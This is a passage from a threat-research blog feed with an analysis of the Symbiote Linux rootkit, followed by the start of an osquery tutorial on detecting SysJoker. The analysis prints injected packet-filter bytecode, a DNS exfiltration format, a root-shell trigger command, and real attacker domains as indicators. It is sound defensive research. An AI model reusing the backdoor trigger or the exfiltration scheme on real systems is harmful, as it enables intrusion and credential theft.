0x14: 0xb1 0x00 0x00 0x000e ldxmsh 0x0e
; Load TCP src port into register.
0x15: 0x48 0x00 0x00 0x000e ldindh r0, 0xe
; Jump to drop the packet if port 43253.
0x16: 0x15 0x08 0x00 0xa8f5 jeq r0, 0xa8f5, &amp;#43;0x8 (jump to 0x1f) ; 43253
; Jump to drop the packet if port 43753.
0x17: 0x15 0x07 0x00 0xaae9 jeq r0, 0xaae9, &amp;#43;0x7 (jump to 0x1f) ; 43753
; Jump to drop the packet if port 63424.
0x18: 0x15 0x06 0x00 0xf7c0 jeq r0, 0xf7c0, &amp;#43;0x6 (jump to 0x1f) ; 63424
; Jump to drop the packet if port 26424.
0x19: 0x15 0x05 0x00 0x6738 jeq r0, 0x6738, &amp;#43;0x5 (jump to 0x1f) ; 26424
; Load TCP dst port into register.
0x1a: 0x48 0x00 0x00 0x0010 ldindh r0, 0x10
; Jump to drop the packet if port 43253.
0x1b: 0x15 0x03 0x00 0xa8f5 jeq r0, 0xa8f5, &amp;#43;0x3 (jump to 0x1f) ; 43253
; Jump to drop the packet if port 43753.
0x1c: 0x15 0x02 0x00 0xaae9 jeq r0, 0xaae9, &amp;#43;0x2 (jump to 0x1f) ; 43753
; Jump to drop the packet if port 63424.
0x1d: 0x15 0x01 0x00 0xf7c0 jeq r0, 0xf7c0, &amp;#43;0x1 (jump to 0x1f) ; 63424
; Jump to drop packet if true otherwise jump to original byte code.
0x1e: 0x15 0x00 0x01 0x6738 jeq r0, 0x6738, &amp;#43;0x100 (jump to 0x20); 26424
; Drop packet by returning 0.
0x1f: 0x06 0x00 0x00 0x0000 ret 0
0x20: // Original byte code.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Code Snippet 1: Annotated bytecode extracted from one of the Symbiote samples.&lt;/p&gt;
&lt;p&gt;The third method Symbiote uses to hide its network traffic is to hook &lt;code&gt;libpcap&lt;/code&gt;
functions. This method is used by the malware to filter out UDP traffic to
domain names it has in a list. It hooks the functions &lt;code&gt;pcap_loop&lt;/code&gt; and
&lt;code&gt;pcap_stats&lt;/code&gt; to accomplish this task. For each packet that is received,
Symbiote checks the UDP payload for substrings of the domains it wants to
filter out. If it finds a match, the malware ignores the packet and increments
a counter. The &lt;code&gt;pcap_stats&lt;/code&gt; uses this counter to &amp;ldquo;correct&amp;rdquo; the number of
packets processed by subtracting the counter value from the true number of
packets processed. If a packet payload does not contain any of the strings it
has in its list, the original callback function is called. This method is used
to filter out UDP packets, while the bytecode method is used to filter out TCP
packets. By using all three of these methods, the malware ensures that all
traffic is hidden.&lt;/p&gt;
&lt;h2&gt;Symbiote Objectives&lt;span class="hx:absolute hx:-mt-20" id="symbiote-objectives"&gt;&lt;/span&gt;
&lt;a href="#symbiote-objectives" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The malware&amp;rsquo;s objective, in addition to hiding malicious activity on the
machine, is to harvest credentials and to provide remote access for the threat
actor. The credential harvesting is performed by hooking the &lt;code&gt;libc&lt;/code&gt; &lt;code&gt;read&lt;/code&gt;
function. If an &lt;code&gt;ssh&lt;/code&gt; or &lt;code&gt;scp&lt;/code&gt; process is calling the function, it captures the
credentials. The credentials are first encrypted with RC4 using an embedded
key, and then written to a file. For example, one of the versions of the
malware writes the captured credentials to the file &lt;code&gt;/usr/include/certbot.h&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In addition to storing the credentials locally, the credentials are
exfiltrated. The data is hex encoded and chunked up to be exfiltrated via DNS
address (A) record requests to a domain name controlled by the threat actor.
The A record request has the following format:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;%PACKET_NUMBER%.%MACHINE_ID%.%HEX_ENC_PAYLOAD%.%DOMAIN_NAME%&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Code Snippet 2: Structure of DNS request used by Symbiote to exfiltrate data.&lt;/p&gt;
&lt;p&gt;The malware checks if the machine has a nameserver configured in
&lt;code&gt;/etc/resolv.conf&lt;/code&gt;. If it doesn&amp;rsquo;t, Google&amp;rsquo;s DNS (8.8.8.8) is used. Along with
sending the request to the domain name, Symbiote also sends it as a UDP
broadcast.&lt;/p&gt;
&lt;p&gt;Remote access to the infected machine is achieved by hooking a few Linux
Pluggable Authentication Module (PAM) functions. When a service tries to use
PAM to authenticate a user, the malware checks the provided password against a
hardcoded password. If the password provided is a match, the hooked function
returns a success response. Since the hooks are in PAM, it allows the threat
actor to authenticate to the machine with any service that uses PAM. This
includes remote services such as
&lt;a href="https://www.openssh.com/"target="_blank" rel="noopener"&gt;Secure Shell (SSH)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If the entered password does not match the hardcoded password, the malware
saves and exfiltrates it as part of its keylogging functionality. Additionally,
the malware sends a DNS TXT record request to its command-and-control (C2)
domain. The TXT record has the format of &lt;code&gt;%MACHINEID%.%C2_DOMAIN%&lt;/code&gt;. If it gets
a response, the malware base64 decodes the content, checks if the content has
been signed by a correct ed25519 private key, decrypts the content with RC4,
and executes the shell script in a spawned bash process. This functionality can
operate as a break-glass method for regaining access to the machine in case the
normal process doesn&amp;rsquo;t work.&lt;/p&gt;
&lt;p&gt;Once the threat actor has authenticated to the infected machine, Symbiote
provides functionality to gain root privileges. When the shared object is first
loaded, it checks for the environment variable &lt;code&gt;HTTP_SETTHIS&lt;/code&gt;. If the variable
is set with content, the malware changes the effective user and group ID to the
root user, and then clears the variable before executing the content via the
system command.&lt;/p&gt;
&lt;p&gt;This process requires that the SO has the
&lt;a href="https://linux.die.net/man/1/chmod"target="_blank" rel="noopener"&gt;setuid permission&lt;/a&gt; flag set. Once the
system command has exited, Symbiote also exits the process, to prevent the
original process from executing. Figure 3 below shows the code executed. This
allows for spawning a root shell by running
&lt;code&gt;HTTP_SETTHIS=&amp;quot;/bin/bash -p&amp;quot; /bin/true&lt;/code&gt; as any user in a shell.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/new-linux-threat-symbiote/images/fig3.png" title="Figure 3: Logic used to execute a command with root privileges." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: Logic used to execute a command with root privileges.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Network Infrastructure&lt;span class="hx:absolute hx:-mt-20" id="network-infrastructure"&gt;&lt;/span&gt;
&lt;a href="#network-infrastructure" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The domain names used by the Symbiote malware are impersonating some major
Brazilian banks. This suggests that these banks or their customers are the
potential targets. Using the domain names utilized by the malware, we managed
to uncover a related sample that was uploaded to VirusTotal with the name
certbotx64. This file name matches one of those listed as a file to hide in one
of the Symbiote samples we originally obtained. The file was identified as an
open-source DNS tunneling tool called
&lt;a href="https://github.com/iagox86/dnscat2"target="_blank" rel="noopener"&gt;dnscat2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The sample had a configuration in the binary that used the
&lt;code&gt;git[.]bancodobrasil[.]dev&lt;/code&gt; domain as its C2 server. During the months of
February and March, this domain name resolved to an IP address that is linked
to Njalla&amp;rsquo;s Virtual Private Server (VPS) service. Passive DNS records showed
that the same IP address was resolved to &lt;code&gt;ns1[.]cintepol[.]link&lt;/code&gt; and
&lt;code&gt;ns2[.]cintepol[.]link&lt;/code&gt; a few months earlier. Cintepol is an
&lt;a href="http://www.seplag.mt.gov.br/index.php?pg=ver&amp;amp;id=300&amp;amp;c=38"target="_blank" rel="noopener"&gt;intelligence portal&lt;/a&gt;
provided by the Federal Police of Brazil. The portal allows police officers to
access different databases provided by the federal police as part of their
investigations. The nameserver used for this impersonating domain name was
active from the middle of December 2021 to the end of January 2022.&lt;/p&gt;
&lt;p&gt;Also starting in February of 2022, the name servers for the domain &lt;code&gt;caixa[.]wf&lt;/code&gt;
were pointing to another Njalla VPS IP. Figure 4 below shows a timeline of
these events. In addition to the network infrastructure, the timestamps of when
the files were submitted to VirusTotal are included. These three Symbiote
samples were uploaded by the same submitter from Brazil. It appears that the
files were submitted to VirusTotal before the infrastructure went online.&lt;/p&gt;
&lt;p&gt;Given that these files were submitted to VirusTotal prior to the infrastructure
going online, and because some of the samples included rules to hide local IP
addresses, it is possible that the samples were submitted to VirusTotal to test
Antivirus detection before being used. Additionally, a version that appears to
be under development was submitted at the end of November from Brazil, further
suggesting VirusTotal was being used by the threat actor or group behind
Symbiote for detection testing.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/new-linux-threat-symbiote/images/fig4.png" title="Figure 4: Timeline showing when files were submitted to VirusTotal and when network infrastructure went active." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: Timeline showing when files were submitted to VirusTotal and when network infrastructure went active.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Similarity to Other Malware&lt;span class="hx:absolute hx:-mt-20" id="similarity-to-other-malware"&gt;&lt;/span&gt;
&lt;a href="#similarity-to-other-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Symbiote appears to be designed for both credential stealing and to provide
remote access to infected Linux servers. Symbiote is not the first Linux
malware developed for this goal. In 2014, ESET released an
&lt;a href="https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"target="_blank" rel="noopener"&gt;in-depth analysis of Ebury&lt;/a&gt;,
an OpenSSH backdoor that also performs credential stealing. There are some
similarities in the techniques used by both malware families. Both use hooked
functions to capture credentials and exfiltrate the captured data as DNS
requests. However, the authentication method to the backdoor used by the two
malware families is different. When we first analyzed the samples with Intezer
Analyze, only unique code was detected (Figure 5). As no code is shared between
Symbiote and Ebury/Windigo or any other known malware, we can confidently
conclude that Symbiote is a new, undiscovered Linux malware.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/new-linux-threat-symbiote/images/fig5.png" title="Figure 5: Intezer analysis of a Symbiote sample showing only genes classified as Symbiote." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: Intezer analysis of a Symbiote sample showing only genes classified as Symbiote.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Symbiote is a malware that is highly evasive. Its main objective is to capture
credentials and to facilitate backdoor access to infected machines. Since the
malware operates as a userland level rootkit, detecting an infection may be
difficult. Network telemetry can be used to detect anomalous DNS requests and
security tools such as antivirus (AVs) and endpoint detection and response
(EDRs) should be statically linked to ensure they are not &amp;ldquo;infected&amp;rdquo; by
userland rootkits.&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise (IoCs)&lt;span class="hx:absolute hx:-mt-20" id="indicators-of-compromise-iocs"&gt;&lt;/span&gt;
&lt;a href="#indicators-of-compromise-iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Hashes&lt;span class="hx:absolute hx:-mt-20" id="hashes"&gt;&lt;/span&gt;
&lt;a href="#hashes" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Hash Notes
121157e0fcb728eb8a23b55457e89d45d76aa3b7d01d3d49105890a00662c924 &amp;#34;kerneldev.so.bkp.&amp;#34; Appears to be an early development build.
f55af21f69a183fb8550ac60f392b05df14aa01d7ffe9f28bc48a118dc110b4c &amp;#34;mt64_.so.&amp;#34; Missing credential exfiltration over DNS.
ec67bbdf55d3679fca72d3c814186ff4646dd779a862999c82c6faa8e6615180 &amp;#34;search.so.&amp;#34; First sample with credential exfiltration of DNS.
a0cd554c35dee3fed3d1607dc18debd1296faaee29b5bd77ff83ab6956a6f9d6 &amp;#34;liblinux.so.&amp;#34;
45eacba032367db7f3b031e5d9df10b30d01664f24da6847322f6af1fd8e7f01 &amp;#34;certbotx64.&amp;#34; dnscat2 &lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Ports Hidden&lt;span class="hx:absolute hx:-mt-20" id="ports-hidden"&gt;&lt;/span&gt;
&lt;a href="#ports-hidden" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;45345
34535
64543
24645
47623
62537
43253
43753
63424
26424&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Domains Hidden&lt;span class="hx:absolute hx:-mt-20" id="domains-hidden"&gt;&lt;/span&gt;
&lt;a href="#domains-hidden" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;assets[.]fans
caixa[.]cx
dpf[.]fm
bancodobrasil[.]dev
cctdcapllx0520
cctdcapllx0520[.]df[.]caixa
webfirewall[.]caixa[.]wf
caixa[.]wf&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Process Names Hidden&lt;span class="hx:absolute hx:-mt-20" id="process-names-hidden"&gt;&lt;/span&gt;
&lt;a href="#process-names-hidden" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;javaserverx64
javaclientex64
javanodex86
apache2start
apache2stop
[watchdog/0]
certbotx64
certbotx86
javautils&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;File Names Hidden&lt;span class="hx:absolute hx:-mt-20" id="file-names-hidden"&gt;&lt;/span&gt;
&lt;a href="#file-names-hidden" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;apache2start
apache2stop
profiles.php
404erro.php
javaserverx64
javaclientex64
javanodex86
liblinux.so
java.h
open.h
mpt86.h
sqlsearch.php
indexq.php
mt64.so
certbot.h
cert.h
certbotx64
certbotx86
javautils
search.so&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Credential Exfil Domains&lt;span class="hx:absolute hx:-mt-20" id="credential-exfil-domains"&gt;&lt;/span&gt;
&lt;a href="#credential-exfil-domains" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;*.x3206.caixa.cx
*.dev21.bancodobrasil.dev&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Detection Rules for Sysjoker (and How to Make Them With Osquery)</title><link>https://research.intezer.com/blog/2022/01/detection-rules-for-sysjoker-and-how-to-make-them-with-osquery/</link><pubDate>Fri, 14 Jan 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/01/detection-rules-for-sysjoker-and-how-to-make-them-with-osquery/</guid><description>
&lt;p&gt;On January 11, 2022, we released a blog post on a new malware called &lt;a href="../../../2022/01/new-backdoor-sysjoker"&gt;SysJoker&lt;/a&gt;. SysJoker is a malware targeting Windows, macOS, and Linux. At the time of the publication, the Linux and macOS versions were not detected by any scanning engines on VirusTotal. As a consequence to this, we decided to release a followup blog posting showing how the information we released can be used to investigate whether you have been affected.&lt;/p&gt;
&lt;p&gt;There are many tools available to gather system information and to perform threat hunting within an organization. We decided to use &lt;a href="https://osquery.io"target="_blank" rel="noopener"&gt;osquery&lt;/a&gt; in this blog post. The reason for choosing osquery is that it is supported for all the affected operating systems that SysJoker targets and it is open source allowing essentially anyone to follow along in this tutorial.&lt;/p&gt;
&lt;h2&gt;Information Gathering with Osquery&lt;span class="hx:absolute hx:-mt-20" id="information-gathering-with-osquery"&gt;&lt;/span&gt;
&lt;a href="#information-gathering-with-osquery" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Osquery runs as an agent on machines and is designed to provide endpoint visibility in a performant way. The data is collected by the agent and exposed via SQL queries.&lt;/p&gt;
&lt;p&gt;There are two ways of running osquery, as a daemon via osqueryd or interactively via osqueryi. The daemon takes a configuration file where the queries are defined and executes them at a given interval. Data is continuously collected by the daemon and the difference since the last execution is logged to a result log. The interactive binary allows for ad-hoc queries and we will use it in this tutorial to construct queries that can be added to the daemon&amp;rsquo;s configuration. The queries will be added to a &lt;a href="https://osquery.readthedocs.io/en/stable/deployment/configuration/#query-packs"target="_blank" rel="noopener"&gt;query-pack&lt;/a&gt; to make it easier to manage.&lt;/p&gt;
&lt;h3&gt;File Artifacts&lt;span class="hx:absolute hx:-mt-20" id="file-artifacts"&gt;&lt;/span&gt;
&lt;a href="#file-artifacts" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The report highlights files and folders created by the &lt;a href="../../../2022/01/new-backdoor-sysjoker"&gt;SysJoker malware&lt;/a&gt;. We can use these to write hunting or detection queries. Since the Windows version is well detected by antivirus engines and Patrick Wardle released a &lt;a href="https://objective-see.com/blog/blog_0x6C.html"target="_blank" rel="noopener"&gt;great blog post&lt;/a&gt; on how his free macOS security tools can detect the macOS variant, we will put most focus on the Linux variant. Since osquery abstracts the differences between all the operating systems into SQL, the queries we produce for Linux can easily be translated to the other operating systems.&lt;/p&gt;
&lt;p&gt;If we look at the report, we can see that all of the files are created under a folder named &lt;code&gt;/.Library&lt;/code&gt;. This is a very unusual folder that is not expected to exist on a normal Linux install. We can use the osquery table file to monitor for files under this folder. According to the schema for this table, we can get which user created it, when the file was created, modified, and last accessed. To enrich the data, we join the uid with the &lt;a href="https://osquery.io/schema/5.1.0/#users"target="_blank" rel="noopener"&gt;users&lt;/a&gt; table and the gid with the groups table. This allows us to get the username and the group name instead of just the id numbers.&lt;/p&gt;
&lt;p&gt;Another thing that is useful is the file hash for the files. This can be obtained by joining with the hash table on the path. This allow us to construct a query like this:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;groupname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mtime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;atime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sha1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sha256&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;JOIN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
